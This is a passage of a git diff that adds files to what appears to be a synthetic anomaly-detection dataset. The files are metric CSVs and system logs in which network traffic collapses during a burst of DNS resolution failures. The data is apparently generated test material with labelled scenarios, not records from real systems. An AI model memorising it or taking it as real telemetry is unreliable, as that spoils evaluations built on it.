+2025-07-09T10:01:25Z,21.27,40.8,29.41,1.12,0.72 +2025-07-09T10:01:30Z,15.01,36.73,25.75,1.25,0.77 +2025-07-09T10:01:35Z,24.19,44.15,35.25,1.18,0.88 +2025-07-09T10:01:40Z,21.68,40.16,20.61,0.93,1.29 +2025-07-09T10:01:45Z,23.21,43.36,25.44,1.01,0.87 +2025-07-09T10:01:50Z,24.65,36.44,39.69,0.97,1.17 +2025-07-09T10:01:55Z,21.08,38.92,25.79,1.04,0.83 +2025-07-09T10:02:00Z,15.75,42.95,34.33,0.94,1.24 +2025-07-09T10:02:05Z,18.34,44.35,33.95,0.83,0.88 +2025-07-09T10:02:10Z,23.05,38.28,24.55,1.43,0.89 +2025-07-09T10:02:15Z,17.77,35.83,37.3,0.98,1.04 +2025-07-09T10:02:20Z,18.48,39.45,33.14,0.81,0.73 +2025-07-09T10:02:25Z,18.06,41.4,35.93,1.25,1.19 +2025-07-09T10:02:30Z,19.96,39.01,32.28,0.03,0.05 +2025-07-09T10:02:35Z,21.28,42.85,25.81,0.05,0.01 +2025-07-09T10:02:40Z,15.37,39.64,29.45,0.04,0.04 +2025-07-09T10:02:45Z,20.93,40.95,31.97,0.05,0.03 +2025-07-09T10:02:50Z,17.88,40.05,21.71,0.01,0.04 +2025-07-09T10:02:55Z,22.54,43.12,27.05,0.05,0.02 +2025-07-09T10:03:00Z,24.24,42.43,28.65,0.03,0.04 +2025-07-09T10:03:05Z,18.99,41.85,35.59,0.02,0.03 +2025-07-09T10:03:10Z,24.36,39.38,27.85,0.04,0.02 +2025-07-09T10:03:15Z,21.35,44.02,35.91,0.04,0.05 +2025-07-09T10:03:20Z,16.73,36.39,24.9,0.05,0.03 +2025-07-09T10:03:25Z,16.45,35.0,20.98,0.05,0.04 +2025-07-09T10:03:30Z,19.41,44.05,32.76,0.03,0.04 +2025-07-09T10:03:35Z,17.59,42.14,24.42,0.03,0.02 +2025-07-09T10:03:40Z,16.42,41.95,22.51,0.02,0.01 +2025-07-09T10:03:45Z,23.64,38.87,32.46,0.01,0.04 +2025-07-09T10:03:50Z,22.6,38.65,25.08,0.03,0.02 +2025-07-09T10:03:55Z,22.36,36.66,35.24,0.02,0.03 +2025-07-09T10:04:00Z,21.13,37.39,35.11,0.02,0.04 +2025-07-09T10:04:05Z,17.58,41.11,21.06,0.04,0.01 +2025-07-09T10:04:10Z,17.41,35.71,33.83,0.03,0.01 +2025-07-09T10:04:15Z,18.46,43.31,27.88,0.04,0.05 +2025-07-09T10:04:20Z,24.56,37.85,25.73,0.01,0.04 +2025-07-09T10:04:25Z,17.31,37.29,22.48,0.02,0.05 +2025-07-09T10:04:30Z,19.68,43.44,38.62,0.02,0.02 +2025-07-09T10:04:35Z,22.88,43.61,20.13,0.05,0.02 +2025-07-09T10:04:40Z,23.46,42.64,30.26,0.02,0.02 +2025-07-09T10:04:45Z,19.46,43.84,38.03,0.02,0.04 +2025-07-09T10:04:50Z,24.69,41.09,29.69,0.03,0.04 +2025-07-09T10:04:55Z,21.94,43.55,28.16,0.04,0.01 +2025-07-09T10:05:00Z,17.66,42.37,20.42,0.92,0.92 +2025-07-09T10:05:05Z,16.61,43.72,21.19,1.47,0.74 +2025-07-09T10:05:10Z,23.96,44.77,32.95,1.45,0.83 +2025-07-09T10:05:15Z,16.85,39.39,24.55,0.85,0.79 +2025-07-09T10:05:20Z,20.88,43.01,36.79,0.96,1.28 +2025-07-09T10:05:25Z,22.12,36.88,20.75,1.34,1.09 +2025-07-09T10:05:30Z,24.41,39.07,22.17,1.17,0.73 +2025-07-09T10:05:35Z,22.84,41.11,26.25,1.09,0.94 +2025-07-09T10:05:40Z,18.56,39.26,39.4,1.33,1.26 +2025-07-09T10:05:45Z,18.38,41.05,37.39,1.05,0.9 +2025-07-09T10:05:50Z,16.18,42.36,23.92,1.02,0.71 +2025-07-09T10:05:55Z,21.63,39.03,20.15,1.43,1.01 +2025-07-09T10:06:00Z,15.91,42.83,36.52,0.81,0.87 +2025-07-09T10:06:05Z,21.34,44.23,33.28,1.17,1.05 +2025-07-09T10:06:10Z,17.93,40.29,27.78,1.19,1.24 +2025-07-09T10:06:15Z,16.77,36.01,31.08,1.38,0.71 +2025-07-09T10:06:20Z,21.06,37.64,36.78,1.33,1.18 +2025-07-09T10:06:25Z,23.14,35.54,37.09,1.34,1.27 +2025-07-09T10:06:30Z,23.02,42.07,37.33,0.8,0.7 +2025-07-09T10:06:35Z,24.36,38.54,32.28,0.89,1.12 +2025-07-09T10:06:40Z,17.43,43.84,26.82,1.21,1.0 +2025-07-09T10:06:45Z,20.6,35.34,26.0,1.47,1.27 +2025-07-09T10:06:50Z,22.66,39.15,23.33,0.94,0.76 +2025-07-09T10:06:55Z,15.53,42.59,29.9,1.06,0.88 +2025-07-09T10:07:00Z,16.07,37.88,28.31,0.82,0.88 +2025-07-09T10:07:05Z,24.19,38.8,32.86,1.0,0.78 +2025-07-09T10:07:10Z,23.16,35.31,28.48,1.38,1.19 +2025-07-09T10:07:15Z,17.96,35.55,25.54,0.87,0.8 +2025-07-09T10:07:20Z,18.28,41.08,28.72,1.07,1.18 +2025-07-09T10:07:25Z,20.67,41.34,24.12,0.94,0.95 diff --git a/anom_dataset/scenario_9/anom_9_27.log b/anom_dataset/scenario_9/anom_9_27.log new file mode 100644 index 0000000000000000000000000000000000000000..5680035ed5f95d06d48d352afd3b5e79fa5fac13 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_27.log @@ -0,0 +1,39 @@ +Jul 09 10:00:15 web-app[1521]: GET /api/v1/health status=200 OK +Jul 09 10:00:25 web-app[1521]: GET /api/v1/health status=200 OK +Jul 09 10:00:35 web-app[1521]: GET /api/v1/health status=200 OK +Jul 09 10:00:45 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:00:50 systemd[1]: Starting daily clean up activities... +Jul 09 10:01:05 web-app[1521]: GET /api/v1/user/34 status=200 OK +Jul 09 10:01:10 web-app[1521]: GET /api/v1/user/34 status=200 OK +Jul 09 10:01:30 web-app[1521]: GET /api/v1/health status=200 OK +Jul 09 10:02:30 worker[4567]: ERROR DNS resolution failed for message-queue.prod.internal: Unknown host +Jul 09 10:02:35 worker[4567]: ERROR DNS resolution failed for message-queue.prod.internal: Unknown host +Jul 09 10:02:45 worker[4567]: WARN Could not resolve host: external-data-source.com; Name or service not known +Jul 09 10:02:50 worker[4567]: ERROR DNS resolution failed for message-queue.prod.internal: Unknown host +Jul 09 10:02:55 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:03:00 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:03:10 worker[4567]: ERROR DNS resolution failed for message-queue.prod.internal: Unknown host +Jul 09 10:03:15 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:03:20 worker[4567]: ERROR DNS resolution failed for message-queue.prod.internal: Unknown host +Jul 09 10:03:25 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:03:30 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:03:35 worker[4567]: WARN Could not resolve host: external-data-source.com; Name or service not known +Jul 09 10:03:40 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:03:45 worker[4567]: ERROR DNS resolution failed for message-queue.prod.internal: Unknown host +Jul 09 10:03:50 worker[4567]: WARN Could not resolve host: external-data-source.com; Name or service not known +Jul 09 10:03:55 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:04:00 worker[4567]: ERROR DNS resolution failed for message-queue.prod.internal: Unknown host +Jul 09 10:04:05 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:04:10 worker[4567]: WARN Could not resolve host: external-data-source.com; Name or service not known +Jul 09 10:04:25 api-gateway[3341]: ERROR failed to connect to user-service: dial tcp: lookup user-service.prod.internal on 10.0.0.2:53: no such host +Jul 09 10:04:30 worker[4567]: ERROR DNS resolution failed for message-queue.prod.internal: Unknown host +Jul 09 10:04:35 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:04:40 worker[4567]: ERROR DNS resolution failed for message-queue.prod.internal: Unknown host +Jul 09 10:04:50 api-gateway[3341]: ERROR request to payment-service failed: Get "https://payment.service/charge": dial tcp: lookup payment.service: unknown host +Jul 09 10:05:25 web-app[1521]: GET /api/v1/user/34 status=200 OK +Jul 09 10:05:55 web-app[1521]: GET /api/v1/health status=200 OK +Jul 09 10:06:25 web-app[1521]: GET /api/v1/user/34 status=200 OK +Jul 09 10:06:35 web-app[1521]: GET /api/v1/user/34 status=200 OK +Jul 09 10:06:40 kubelet[2109]: INFO Liveness probe succeeded for pod web-app-pod +Jul 09 10:07:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:07:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_9/anom_9_28.csv b/anom_dataset/scenario_9/anom_9_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..f4cb5b89b40a5e3a51d7d84d2eadacae722b1d6d --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,13.71,46.07,36.52,1.37,1.32 +2025-08-22T14:00:05Z,14.33,45.6,29.0,1.27,1.11 +2025-08-22T14:00:10Z,13.63,47.07,31.73,1.79,1.44 +2025-08-22T14:00:15Z,15.95,45.03,26.61,1.28,1.09 +2025-08-22T14:00:20Z,15.3,42.17,28.46,1.66,1.01 +2025-08-22T14:00:25Z,14.56,42.9,31.9,1.65,1.29 +2025-08-22T14:00:30Z,10.51,45.73,25.93,1.75,1.05 +2025-08-22T14:00:35Z,14.01,38.11,26.75,1.24,0.71 +2025-08-22T14:00:40Z,15.57,45.9,25.51,1.58,1.04 +2025-08-22T14:00:45Z,13.15,47.79,21.11,1.52,1.18 +2025-08-22T14:00:50Z,15.53,40.92,17.61,1.61,1.14 +2025-08-22T14:00:55Z,18.76,45.22,31.95,0.98,1.31 +2025-08-22T14:01:00Z,17.19,50.91,32.34,1.23,1.16 +2025-08-22T14:01:05Z,17.75,40.97,30.66,1.41,0.95 +2025-08-22T14:01:10Z,19.56,50.27,32.31,1.98,1.35 +2025-08-22T14:01:15Z,16.19,46.55,32.44,1.33,1.17 +2025-08-22T14:01:20Z,18.71,42.89,32.84,1.62,0.98 +2025-08-22T14:01:25Z,15.8,52.91,36.66,1.69,1.13 +2025-08-22T14:01:30Z,14.25,42.93,26.19,1.53,0.78 +2025-08-22T14:01:35Z,16.99,44.09,28.48,1.91,1.11 +2025-08-22T14:01:40Z,16.82,39.72,24.95,1.88,1.14 +2025-08-22T14:01:45Z,14.92,43.34,28.1,1.59,1.17 +2025-08-22T14:01:50Z,15.47,44.33,27.85,1.36,1.03 +2025-08-22T14:01:55Z,12.92,43.2,31.39,1.69,1.25 +2025-08-22T14:02:00Z,12.6,45.78,25.62,1.39,1.23 +2025-08-22T14:02:05Z,15.81,47.75,35.25,1.62,1.12 +2025-08-22T14:02:10Z,13.68,45.77,33.2,1.3,1.35 +2025-08-22T14:02:15Z,15.37,49.44,33.53,1.5,1.34 +2025-08-22T14:02:20Z,17.02,48.11,32.94,1.79,1.13 +2025-08-22T14:02:25Z,16.22,44.81,39.93,1.56,1.14 +2025-08-22T14:02:30Z,15.05,40.67,24.46,0.03,0.05 +2025-08-22T14:02:35Z,16.65,41.84,28.59,0.04,0.07 +2025-08-22T14:02:40Z,12.78,45.69,26.42,0.06,0.04 +2025-08-22T14:02:45Z,15.24,42.86,28.93,0.04,0.05 +2025-08-22T14:02:50Z,13.57,45.05,32.93,0.02,0.06 +2025-08-22T14:02:55Z,16.1,45.7,31.14,0.04,0.04 +2025-08-22T14:03:00Z,12.87,48.5,25.86,0.06,0.04 +2025-08-22T14:03:05Z,16.92,40.56,37.28,0.04,0.05 +2025-08-22T14:03:10Z,18.38,42.56,32.71,0.1,0.06 +2025-08-22T14:03:15Z,16.8,38.13,29.02,0.02,0.04 +2025-08-22T14:03:20Z,13.39,48.74,28.92,0.1,0.07 +2025-08-22T14:03:25Z,12.72,45.99,31.53,0.03,0.05 +2025-08-22T14:03:30Z,15.92,43.95,36.35,0.02,0.07 +2025-08-22T14:03:35Z,13.87,41.77,27.31,0.07,0.07 +2025-08-22T14:03:40Z,14.97,48.02,30.06,0.04,0.06 +2025-08-22T14:03:45Z,14.11,44.03,26.83,0.03,0.02 +2025-08-22T14:03:50Z,16.82,47.97,28.96,0.04,0.05 +2025-08-22T14:03:55Z,12.2,43.72,30.82,0.02,0.02 +2025-08-22T14:04:00Z,14.67,45.46,27.61,0.04,0.07 +2025-08-22T14:04:05Z,15.11,38.79,26.78,0.06,0.04 +2025-08-22T14:04:10Z,15.76,47.3,26.7,0.03,0.04 +2025-08-22T14:04:15Z,13.25,49.2,22.45,0.06,0.04 +2025-08-22T14:04:20Z,12.42,48.96,30.24,0.06,0.07 +2025-08-22T14:04:25Z,17.62,41.33,28.96,0.04,0.02 +2025-08-22T14:04:30Z,15.39,40.25,25.44,0.1,0.09 +2025-08-22T14:04:35Z,13.71,50.34,32.46,0.05,0.05 +2025-08-22T14:04:40Z,17.23,43.41,26.8,0.06,0.06 +2025-08-22T14:04:45Z,14.62,46.02,28.51,0.06,0.05 +2025-08-22T14:04:50Z,17.48,44.53,23.55,0.03,0.05 +2025-08-22T14:04:55Z,15.7,42.67,30.33,0.07,0.06 +2025-08-22T14:05:00Z,14.42,46.69,35.66,0.06,0.04 +2025-08-22T14:05:05Z,15.19,43.02,32.46,0.05,0.04 +2025-08-22T14:05:10Z,11.21,45.68,37.43,0.07,0.04 +2025-08-22T14:05:15Z,12.74,46.49,28.45,0.07,0.04 +2025-08-22T14:05:20Z,14.33,49.72,31.83,0.03,0.02 +2025-08-22T14:05:25Z,12.73,45.36,22.84,0.06,0.05 +2025-08-22T14:05:30Z,14.06,41.23,24.43,0.02,0.09 +2025-08-22T14:05:35Z,13.87,44.91,24.17,0.06,0.03 +2025-08-22T14:05:40Z,15.4,42.21,27.58,0.09,0.0 +2025-08-22T14:05:45Z,13.65,36.41,31.87,0.06,0.05 +2025-08-22T14:05:50Z,13.59,50.01,38.15,0.08,0.03 +2025-08-22T14:05:55Z,14.78,45.67,30.4,0.06,0.07 +2025-08-22T14:06:00Z,16.06,39.65,36.8,0.08,0.04 +2025-08-22T14:06:05Z,16.72,42.9,33.64,0.03,0.04 +2025-08-22T14:06:10Z,17.66,45.11,24.78,0.03,0.04 +2025-08-22T14:06:15Z,14.55,50.87,31.9,0.06,0.06 +2025-08-22T14:06:20Z,15.62,45.26,34.63,0.06,0.08 +2025-08-22T14:06:25Z,16.33,41.63,27.02,0.02,0.07 +2025-08-22T14:06:30Z,14.22,43.73,27.46,0.05,0.02 +2025-08-22T14:06:35Z,16.7,43.88,33.78,0.04,0.07 +2025-08-22T14:06:40Z,13.69,41.43,37.67,0.07,0.03 +2025-08-22T14:06:45Z,14.15,44.6,22.64,0.05,0.04 +2025-08-22T14:06:50Z,14.51,43.82,27.71,0.02,0.03 +2025-08-22T14:06:55Z,15.36,39.09,33.9,0.06,0.07 +2025-08-22T14:07:00Z,13.48,44.83,29.67,0.06,0.03 +2025-08-22T14:07:05Z,16.36,38.74,26.05,0.04,0.05 +2025-08-22T14:07:10Z,19.53,42.52,33.31,0.06,0.1 +2025-08-22T14:07:15Z,18.17,42.91,23.44,0.06,0.05 +2025-08-22T14:07:20Z,13.97,46.66,37.91,0.03,0.06 +2025-08-22T14:07:25Z,13.3,46.55,32.93,0.05,0.06 diff --git a/anom_dataset/scenario_9/anom_9_28.log b/anom_dataset/scenario_9/anom_9_28.log new file mode 100644 index 0000000000000000000000000000000000000000..f460d23f18c2170c31725503d2d2405e56ff42dd --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_28.log @@ -0,0 +1,39 @@ +Aug 22 14:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:00 api-gateway[1945]: GET /api/v1/user/19 status=200 OK +Aug 22 14:00:00 api-gateway[1945]: INFO Successful connection to database +Aug 22 14:00:20 api-gateway[1945]: GET /api/v1/user/15 status=200 OK +Aug 22 14:00:35 api-gateway[1945]: INFO Successful connection to database +Aug 22 14:00:40 api-gateway[1945]: GET /api/v1/user/31 status=200 OK +Aug 22 14:01:00 api-gateway[1945]: GET /api/v1/user/46 status=200 OK +Aug 22 14:01:10 api-gateway[1945]: INFO Successful connection to database +Aug 22 14:01:20 api-gateway[1945]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:40 api-gateway[1945]: GET /api/v1/user/25 status=200 OK +Aug 22 14:01:45 api-gateway[1945]: INFO Successful connection to database +Aug 22 14:02:00 api-gateway[1945]: GET /api/v1/user/32 status=200 OK +Aug 22 14:02:05 systemd[1]: Starting daily clean up activities... +Aug 22 14:02:20 api-gateway[1945]: GET /api/v1/user/47 status=200 OK +Aug 22 14:02:20 api-gateway[1945]: INFO Successful connection to database +Aug 22 14:02:30 ERROR api-gateway[1945]: Could not resolve host: user-data.service.local; Name or service not known +Aug 22 14:02:45 ERROR api-gateway[1945]: Resolution failed for payments.api.internal: Host not found +Aug 22 14:02:55 CRON[5093]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:03:00 ERROR api-gateway[1945]: Failed to connect to external.service.com: Unknown host +Aug 22 14:03:15 ERROR api-gateway[1945]: Could not resolve host: user-data.service.local; Name or service not known +Aug 22 14:03:30 ERROR api-gateway[1945]: Failed to connect to external.service.com: Unknown host +Aug 22 14:03:45 ERROR api-gateway[1945]: Failed to connect to external.service.com: Unknown host +Aug 22 14:04:00 ERROR api-gateway[1945]: Failed to connect to external.service.com: Unknown host +Aug 22 14:04:10 systemd[1]: Starting daily clean up activities... +Aug 22 14:04:15 ERROR api-gateway[1945]: Failed to connect to external.service.com: Unknown host +Aug 22 14:04:30 ERROR api-gateway[1945]: Resolution failed for payments.api.internal: Host not found +Aug 22 14:04:45 ERROR api-gateway[1945]: Could not resolve host: user-data.service.local; Name or service not known +Aug 22 14:05:00 ERROR api-gateway[1945]: Could not resolve host: user-data.service.local; Name or service not known +Aug 22 14:05:15 ERROR api-gateway[1945]: Failed to connect to external.service.com: Unknown host +Aug 22 14:05:30 ERROR api-gateway[1945]: Resolution failed for payments.api.internal: Host not found +Aug 22 14:05:45 ERROR api-gateway[1945]: Resolution failed for payments.api.internal: Host not found +Aug 22 14:05:50 CRON[5093]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:06:00 ERROR api-gateway[1945]: Could not resolve host: user-data.service.local; Name or service not known +Aug 22 14:06:15 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:15 ERROR api-gateway[1945]: Could not resolve host: user-data.service.local; Name or service not known +Aug 22 14:06:30 ERROR api-gateway[1945]: Could not resolve host: user-data.service.local; Name or service not known +Aug 22 14:06:45 ERROR api-gateway[1945]: Could not resolve host: user-data.service.local; Name or service not known +Aug 22 14:07:00 ERROR api-gateway[1945]: Resolution failed for payments.api.internal: Host not found +Aug 22 14:07:15 ERROR api-gateway[1945]: Could not resolve host: user-data.service.local; Name or service not known diff --git a/anom_dataset/scenario_9/anom_9_3.csv b/anom_dataset/scenario_9/anom_9_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..ae10464afec52a00d5a4e423d07fe9c68ea2135f --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-05T09:00:00Z,16.16,37.98,20.66,0.92,1.77 +2025-07-05T09:00:05Z,15.85,39.14,28.31,0.85,1.87 +2025-07-05T09:00:10Z,15.69,49.71,29.84,1.2,1.56 +2025-07-05T09:00:15Z,18.6,42.68,36.34,0.81,0.76 +2025-07-05T09:00:20Z,16.54,42.93,37.39,1.03,1.15 +2025-07-05T09:00:25Z,19.69,50.11,36.73,0.39,1.22 +2025-07-05T09:00:30Z,18.06,46.73,24.58,1.03,1.32 +2025-07-05T09:00:35Z,18.55,43.1,21.11,0.67,1.74 +2025-07-05T09:00:40Z,15.9,36.41,24.58,1.09,1.13 +2025-07-05T09:00:45Z,17.69,43.37,21.8,0.63,2.21 +2025-07-05T09:00:50Z,20.61,39.63,32.9,1.13,1.28 +2025-07-05T09:00:55Z,17.57,46.03,33.11,0.87,1.46 +2025-07-05T09:01:00Z,21.81,42.54,23.81,1.14,1.95 +2025-07-05T09:01:05Z,16.61,45.73,23.27,1.26,1.62 +2025-07-05T09:01:10Z,19.06,41.6,24.92,1.0,1.06 +2025-07-05T09:01:15Z,17.2,40.58,35.0,0.65,1.24 +2025-07-05T09:01:20Z,14.6,44.89,17.47,1.01,1.31 +2025-07-05T09:01:25Z,18.58,42.94,33.52,0.68,0.53 +2025-07-05T09:01:30Z,21.87,40.21,34.24,0.98,1.28 +2025-07-05T09:01:35Z,16.96,48.4,34.32,0.7,1.14 +2025-07-05T09:01:40Z,13.52,48.91,33.74,0.03,0.02 +2025-07-05T09:01:45Z,17.27,44.86,34.36,0.0,0.02 +2025-07-05T09:01:50Z,17.17,42.94,27.23,0.04,0.01 +2025-07-05T09:01:55Z,20.02,41.0,25.06,0.03,0.04 +2025-07-05T09:02:00Z,15.17,45.13,18.75,0.0,0.0 +2025-07-05T09:02:05Z,17.03,44.35,26.23,0.01,0.0 +2025-07-05T09:02:10Z,17.82,51.45,30.69,0.02,0.05 +2025-07-05T09:02:15Z,17.52,48.07,30.6,0.01,0.01 +2025-07-05T09:02:20Z,18.17,38.62,34.9,0.05,0.05 +2025-07-05T09:02:25Z,15.65,41.26,28.61,0.01,0.05 +2025-07-05T09:02:30Z,16.18,47.09,32.65,0.02,0.0 +2025-07-05T09:02:35Z,17.61,39.67,35.81,0.05,0.03 +2025-07-05T09:02:40Z,23.41,50.31,30.35,0.0,0.03 +2025-07-05T09:02:45Z,17.86,40.97,28.21,0.03,0.02 +2025-07-05T09:02:50Z,15.06,37.57,21.19,0.04,0.02 +2025-07-05T09:02:55Z,16.61,48.31,23.98,0.04,0.04 +2025-07-05T09:03:00Z,19.54,46.2,36.01,0.04,0.02 +2025-07-05T09:03:05Z,20.77,49.95,31.11,0.0,0.03 +2025-07-05T09:03:10Z,18.28,45.94,19.56,0.02,0.04 +2025-07-05T09:03:15Z,20.23,40.23,31.08,0.01,0.0 +2025-07-05T09:03:20Z,15.77,42.57,25.65,0.0,0.04 +2025-07-05T09:03:25Z,14.84,44.19,35.1,0.0,0.0 +2025-07-05T09:03:30Z,19.6,46.34,26.43,0.02,0.03 +2025-07-05T09:03:35Z,17.05,44.21,29.6,0.04,0.04 +2025-07-05T09:03:40Z,17.38,45.63,38.39,0.01,0.01 +2025-07-05T09:03:45Z,17.7,50.71,34.73,0.02,0.05 +2025-07-05T09:03:50Z,16.65,51.96,31.94,0.03,0.02 +2025-07-05T09:03:55Z,15.74,39.63,39.42,0.02,0.03 +2025-07-05T09:04:00Z,17.49,48.48,37.37,0.02,0.03 +2025-07-05T09:04:05Z,18.72,42.35,25.16,0.01,0.0 +2025-07-05T09:04:10Z,17.72,52.26,29.55,0.04,0.04 +2025-07-05T09:04:15Z,14.94,44.11,32.13,0.04,0.0 +2025-07-05T09:04:20Z,18.72,40.42,37.25,0.03,0.0 +2025-07-05T09:04:25Z,19.1,46.89,28.57,0.03,0.04 +2025-07-05T09:04:30Z,19.51,46.28,20.85,0.04,0.04 +2025-07-05T09:04:35Z,19.57,48.24,33.52,0.04,0.05 +2025-07-05T09:04:40Z,23.15,46.18,28.56,0.05,0.0 +2025-07-05T09:04:45Z,15.32,46.89,38.94,0.04,0.05 +2025-07-05T09:04:50Z,17.28,43.59,16.25,0.01,0.04 +2025-07-05T09:04:55Z,20.8,46.78,42.67,0.03,0.04 +2025-07-05T09:05:00Z,17.78,42.12,25.92,1.44,1.36 +2025-07-05T09:05:05Z,14.68,39.67,17.65,0.39,0.9 +2025-07-05T09:05:10Z,19.15,41.85,30.54,0.7,0.68 +2025-07-05T09:05:15Z,21.36,38.64,35.88,0.79,0.86 +2025-07-05T09:05:20Z,14.53,46.27,28.52,0.73,1.56 +2025-07-05T09:05:25Z,16.15,42.37,35.97,1.22,1.87 +2025-07-05T09:05:30Z,16.31,43.68,26.89,0.86,1.3 +2025-07-05T09:05:35Z,13.78,43.53,37.44,1.01,1.64 +2025-07-05T09:05:40Z,17.58,48.52,28.17,1.0,1.54 +2025-07-05T09:05:45Z,20.63,39.48,32.45,1.22,1.03 +2025-07-05T09:05:50Z,17.88,46.65,40.22,0.59,1.84 +2025-07-05T09:05:55Z,21.0,46.17,32.88,0.81,1.47 +2025-07-05T09:06:00Z,18.24,43.21,27.48,0.6,1.88 +2025-07-05T09:06:05Z,17.86,48.37,26.05,0.34,1.27 +2025-07-05T09:06:10Z,19.41,40.93,32.82,0.4,1.62 +2025-07-05T09:06:15Z,17.13,45.32,23.55,0.69,0.78 +2025-07-05T09:06:20Z,12.21,48.63,28.87,0.75,1.37 +2025-07-05T09:06:25Z,20.37,40.16,27.11,1.27,1.25 +2025-07-05T09:06:30Z,23.37,40.1,19.6,0.95,1.7 +2025-07-05T09:06:35Z,23.61,41.68,32.12,0.85,1.87 +2025-07-05T09:06:40Z,26.56,42.89,36.35,0.61,1.89 +2025-07-05T09:06:45Z,17.25,42.95,28.2,0.6,1.46 +2025-07-05T09:06:50Z,19.99,44.18,21.12,1.03,1.5 +2025-07-05T09:06:55Z,15.59,41.65,32.75,1.32,1.16 +2025-07-05T09:07:00Z,16.56,41.74,18.08,0.66,1.32 +2025-07-05T09:07:05Z,16.37,40.36,26.2,0.9,1.25 +2025-07-05T09:07:10Z,20.43,43.16,29.61,0.92,1.14 +2025-07-05T09:07:15Z,17.62,42.44,26.74,0.73,1.49 +2025-07-05T09:07:20Z,14.91,48.63,20.27,1.29,1.25 +2025-07-05T09:07:25Z,16.13,47.91,32.53,1.41,1.87 diff --git a/anom_dataset/scenario_9/anom_9_3.log b/anom_dataset/scenario_9/anom_9_3.log new file mode 100644 index 0000000000000000000000000000000000000000..e4f5a95f2546d083ba9e8b953b04935a2d0ef43a --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_3.log @@ -0,0 +1,40 @@ +Jul 05 09:00:00 kernel: [1751706000.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 05 09:00:05 kernel: [1751706005.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 05 09:00:40 kernel: [1751706040.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 05 09:00:50 systemd[1]: Started Session 57 of user service-account. +Jul 05 09:01:05 sshd[18010]: pam_unix(sshd:session): session opened for user root by (uid=0) +Jul 05 09:01:10 kernel: [1751706070.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 05 09:01:50 api-gateway[18016]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:01:55 payment-processor[18020]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 05 09:02:00 api-gateway[18022]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:02:05 kernel: [1751706125.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_3`, status `FAIL` +Jul 05 09:02:15 data-exporter[18025]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 05 09:02:20 api-gateway[18032]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:02:25 api-gateway[18035]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:02:30 kernel: [1751706150.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_3`, status `FAIL` +Jul 05 09:02:35 kernel: [1751706155.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_3`, status `FAIL` +Jul 05 09:02:45 data-exporter[18047]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 05 09:02:50 payment-processor[18050]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 05 09:02:55 api-gateway[18056]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:03:00 data-exporter[18061]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 05 09:03:05 api-gateway[18067]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:03:10 kernel: [1751706190.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 05 09:03:15 api-gateway[18073]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:03:20 api-gateway[18075]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:03:25 kernel: [1751706205.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_3`, status `FAIL` +Jul 05 09:03:30 api-gateway[18081]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 05 09:03:40 payment-processor[18085]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: 